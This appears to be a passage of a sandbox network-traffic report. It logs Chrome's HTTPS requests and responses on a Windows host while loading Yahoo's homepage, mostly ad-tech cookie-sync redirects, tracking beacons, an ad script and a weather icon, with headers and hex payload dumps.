2024-01-10 23:27:18 UTC	822	OUT	GET /rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:19 UTC	1090	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=casale_media2_dbm&google_cm&google_sc&google_hm=ZZ8n1IPpYMLwQL-F1CLawgAA CF-Ray: 8438b09fd9b41318-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:19 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:19 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QV58zTUwCUkdjP0JlQs0vphrFhXO6vua0NXjM31QkPf2Qr8YYUfV5GlVbs9MM%2FTeeXeUgkZPQXpcP2FNfMfj9qf0dmy%2FaunrBsMSJGjqofWpT5RcgRBVPgwNyqtPu3yPHfapb%2FnHI0w8WQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.4	50104	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	1660	OUT	POST /p?s=2023538075&t=1704929237619&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&errorMessage=&id=sda-MAST-iframe&loc=top_center&renderCount=0&sourceType=native&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:19 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:19 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.4	50119	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	720	OUT	GET /ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929237
2024-01-10 23:27:19 UTC	591	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //sync-dmp.mobtrakk.com/match/bidswitch?id=${user_id}&gdpr=0&consent=&usp=&ssp=medianet&bsw=f6435827-796b-4521-81e9-11e581628f69 Set-Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; path=/; expires=Thu, 09-Jan-2025 23:27:19 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1704929239; path=/; expires=Thu, 09-Jan-2025 23:27:19 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.4	50125	15.197.193.217	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	869	OUT	GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgAigCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
2024-01-10 23:27:19 UTC	691	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Length: 359 Connection: close server: Kestrel location: https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2C%2C set-cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; expires=Fri, 10 Jan 2025 23:27:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFEhQKBXRhcGFkEgsIgpH7ibePyTwQBRgBIAEoAjILCISH_rbNj8k8EAU4AVoFdGFwYWRgAg..; expires=Fri, 10 Jan 2025 23:27:19 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-01-10 23:27:19 UTC	359	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 31 38 33 30 26 70 61 72 74 6e 65 72 5f 64 65 76 69 63 65 5f 69 64 3d 62 64 36 61 32 31 39 63 2d 32 35 33 38 2d 34 37 37 62 2d 39 30 65 65 2d 36 64 32 30 63 37 38 36 30 63 34 62 26 74 74 64 5f 70 75 69 64 3d 64 31 36 65 33 38 32 33 2d 63 61 63 62 2d 34 33 38 66 2d 39 62 66 63 2d 63 32 62 63 38 63 38 32 33 32 35 31 25 32 43 25 32 43 22 3e 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 74 61 70 61 64 2e 63 6f 6d 2f 69 64 73 79 6e 63 2f 65 78 2f 72 65 63 65 69 76 65 3f 70 61 72 74 6e 65 72 5f 69 64 3d 31 38 33 30 26 70 61 72 74 6e 65 Data Ascii: Redirecting to: <a href="https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2C%2C">https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partne

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.4	50129	35.194.66.159	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	708	OUT	GET /pm_match?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=$UID HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	653	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=A342B32A0BAA4852AA53FE42CB7195F6 Expires: Tue, 09 Jan 2024 23:27:19 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-01-10 23:27:19 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.4	50114	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	490	OUT	GET /dy/ads/gemini.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	776	IN	HTTP/1.1 200 OK x-amz-id-2: kaCSsBGSMr+Fn3HVcYjFN7WUM7iMiHRFjVcTX5D8PTS9DFMwZ0hftsvSjxImkJkYiH9KpAE5jxRuQ1eqioY4iQ== x-amz-request-id: FG39NA15JSTQK6DH Date: Wed, 10 Jan 2024 23:26:07 GMT Last-Modified: Tue, 19 May 2020 04:19:48 GMT ETag: "ff73e1c29819f206b98107479b29bb95" x-amz-server-side-encryption: AES256 Cache-Control: max-age=12000 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4643 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 73 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:19 UTC	819	IN	Data Raw: 76 61 72 20 47 65 6d 69 6e 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 74 29 7b 72 65 74 75 72 6e 28 63 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 74 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f Data Ascii: var Gemini=function(){"use strict";function c(t){return(c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeo
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 45 29 22 2c 65 29 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 20 77 28 72 2c 61 2c 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 61 2c 69 3d 74 2e 63 2c 6f 3d 74 2e 64 2c 63 3d 74 2e 70 2c 6c 3d 74 2e 74 2c 75 3d 62 2e 62 65 61 63 6f 6e 73 2c 66 3d 62 2e 70 6f 73 69 74 69 6f 6e 73 2c 68 3d 63 2f 31 30 30 3b 75 5b 72 5d 7c 7c 28 75 5b 72 5d 3d 7b 7d 29 3b 76 61 72 20 73 3d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 75 5b 72 5d 5b 61 5d 2e 75 72 6c 73 2c 65 3d 74 2e 6c 65 6e 67 74 68 2c 6e 3d 47 65 6d 69 6e 69 2e 62 65 61 63 6f 6e 43 61 6c 6c 62 61 63 6b 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 74 2e 73 68 69 66 74 28 29 3b 2d 31 3c 61 2e 69 6e 64 65 78 4f 66 28 22 76 69 65 77 61 62 69 6c 69 74 79 44 65 66 53 74 61 74 69 63 22 Data Ascii: E)",e)},w=function w(r,a,t,e){var n=t.a,i=t.c,o=t.d,c=t.p,l=t.t,u=b.beacons,f=b.positions,h=c/100;u[r]\|\|(u[r]={});var s=function s(){for(var t=u[r][a].urls,e=t.length,n=Gemini.beaconCallback,i=0;i<e;i++){var o=t.shift();-1<a.indexOf("viewabilityDefStatic"
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 74 2c 22 76 69 65 77 61 62 69 6c 69 74 79 44 65 66 53 74 61 74 69 63 33 50 3a 22 2b 79 2c 6f 5b 79 5d 2c 70 29 3b 61 26 26 61 2e 6c 65 6e 67 74 68 26 26 28 62 2e 63 6c 69 63 6b 42 65 61 63 6f 6e 73 5b 74 5d 3d 61 29 7d 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2c 65 3d 77 69 6e 64 6f 77 2c 6e 3d 74 2e 62 6f 64 79 2c 69 3d 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 7b 68 65 69 67 68 74 3a 65 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 69 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 7c 7c 6e 26 26 6e 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2c 77 69 64 74 68 3a 65 2e 69 6e 6e 65 72 57 69 64 74 68 7c 7c 69 2e 63 6c 69 65 6e 74 57 69 64 74 68 7c 7c 6e 26 26 6e 2e 63 6c 69 65 6e 74 57 69 64 74 Data Ascii: t,"viewabilityDefStatic3P:"+y,o[y],p);a&&a.length&&(b.clickBeacons[t]=a)},l=function l(){var t=document,e=window,n=t.body,i=t.documentElement;return{height:e.innerHeight\|\|i.clientHeight\|\|n&&n.clientHeight,width:e.innerWidth\|\|i.clientWidth\|\|n&&n.clientWidt
2024-01-10 23:27:19 UTC	1224	IN	Data Raw: 5b 74 5d 7c 7c 28 62 2e 65 6c 65 6d 65 6e 74 73 5b 74 5d 3d 65 2c 62 2e 63 6c 69 63 6b 42 65 61 63 6f 6e 73 5b 74 5d 26 26 72 28 65 2c 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 28 74 29 7d 29 29 2c 75 28 65 2c 69 2e 74 68 72 65 73 68 6f 6c 64 29 3c 69 2e 74 68 72 65 73 68 6f 6c 64 29 69 2e 68 69 73 74 6f 72 79 3d 6e 75 6c 6c 3b 65 6c 73 65 20 69 66 28 69 2e 68 69 73 74 6f 72 79 7c 7c 28 69 2e 68 69 73 74 6f 72 79 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 29 2c 28 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2d 69 2e 68 69 73 74 6f 72 79 29 2f 31 65 33 3e 3d 69 2e 64 75 72 61 74 69 6f 6e 26 26 28 69 2e 63 61 6c 6c 62 61 63 6b 28 69 29 2c 69 2e 68 69 73 74 6f 72 79 3d 28 6e 65 77 20 Data Ascii: [t]\|\|(b.elements[t]=e,b.clickBeacons[t]&&r(e,"click",function(){return o(t)})),u(e,i.threshold)<i.threshold)i.history=null;else if(i.history\|\|(i.history=(new Date).getTime()),((new Date).getTime()-i.history)/1e3>=i.duration&&(i.callback(i),i.history=(new

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.4	50112	64.202.112.255	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	750	OUT	GET /usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2 HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=v79p4FQcaoSFEzqKnYP-
2024-01-10 23:27:19 UTC	529	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 111 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=v79p4FQcaoSFEzqKnYP- P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=v79p4FQcaoSFEzqKnYP-; Path=/; Domain=zemanta.com; Expires=Thu, 09 Jan 2025 23:27:19 GMT; Max-Age=31536000; Secure; SameSite=None Date: Wed, 10 Jan 2024 23:27:19 GMT
2024-01-10 23:27:19 UTC	111	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 65 78 74 75 61 6c 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 2e 70 68 70 3f 63 73 3d 31 26 61 6d 70 3b 74 79 70 65 3d 7a 65 6d 26 61 6d 70 3b 6f 76 73 69 64 3d 76 37 39 70 34 46 51 63 61 6f 53 46 45 7a 71 4b 6e 59 50 2d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=v79p4FQcaoSFEzqKnYP-">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.4	50147	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	372	OUT	GET /cv/apiv2/weather-svg/RAIN_AND_SNOW.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	818	IN	HTTP/1.1 200 OK x-amz-id-2: jF88UJZEK6hpM/AF618frZJOf4dh+maXAw7ZlxDpLKaRaz0m+HjUqCzfY8uzl1ZBWy+82QOENfo= x-amz-request-id: ZMY4RAHZZG7BGYJS Date: Tue, 26 Dec 2023 01:47:10 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "e36b72ca53187aff4e7d9d420e97106f" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1623 Referrer-Policy: no-referrer-when-downgrade Age: 1374010 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop
2024-01-10 23:27:19 UTC	323	IN	Data Raw: 37 32 2d 32 2e 34 39 32 2d 31 2e 34 34 56 34 36 63 30 20 2e 35 35 32 2d 2e 35 34 38 20 31 2d 31 2e 32 32 35 20 31 2d 2e 36 30 32 20 30 2d 31 2e 31 30 32 2d 2e 33 35 34 2d 31 2e 32 30 36 2d 2e 38 32 6c 2d 2e 30 32 2d 2e 31 38 76 2d 32 2e 38 37 38 6c 2d 32 2e 34 39 31 20 31 2e 34 34 63 2d 2e 34 37 38 2e 32 37 36 2d 31 2e 31 34 2e 30 32 34 2d 31 2e 34 38 2d 2e 35 36 32 2d 2e 33 2d 2e 35 32 31 2d 2e 32 34 34 2d 31 2e 31 33 32 2e 31 30 38 2d 31 2e 34 35 35 6c 2e 31 34 36 2d 2e 31 30 37 4c 33 37 2e 30 34 38 20 34 31 6c 2d 32 2e 34 39 31 2d 31 2e 34 33 38 63 2d 2e 34 37 38 2d 2e 32 37 36 2d 2e 35 39 32 2d 2e 39 37 36 2d 2e 32 35 33 2d 31 2e 35 36 32 2e 33 2d 2e 35 32 31 2e 38 35 37 2d 2e 37 37 38 20 31 2e 33 31 33 2d 2e 36 33 34 6c 2e 31 36 36 2e 30 37 32 20 32 Data Ascii: 72-2.492-1.44V46c0 .552-.548 1-1.225 1-.602 0-1.102-.354-1.206-.82l-.02-.18v-2.878l-2.491 1.44c-.478.276-1.14.024-1.48-.562-.3-.521-.244-1.132.108-1.455l.146-.107L37.048 41l-2.491-1.438c-.478-.276-.592-.976-.253-1.562.3-.521.857-.778 1.313-.634l.166.072 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.4	50149	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
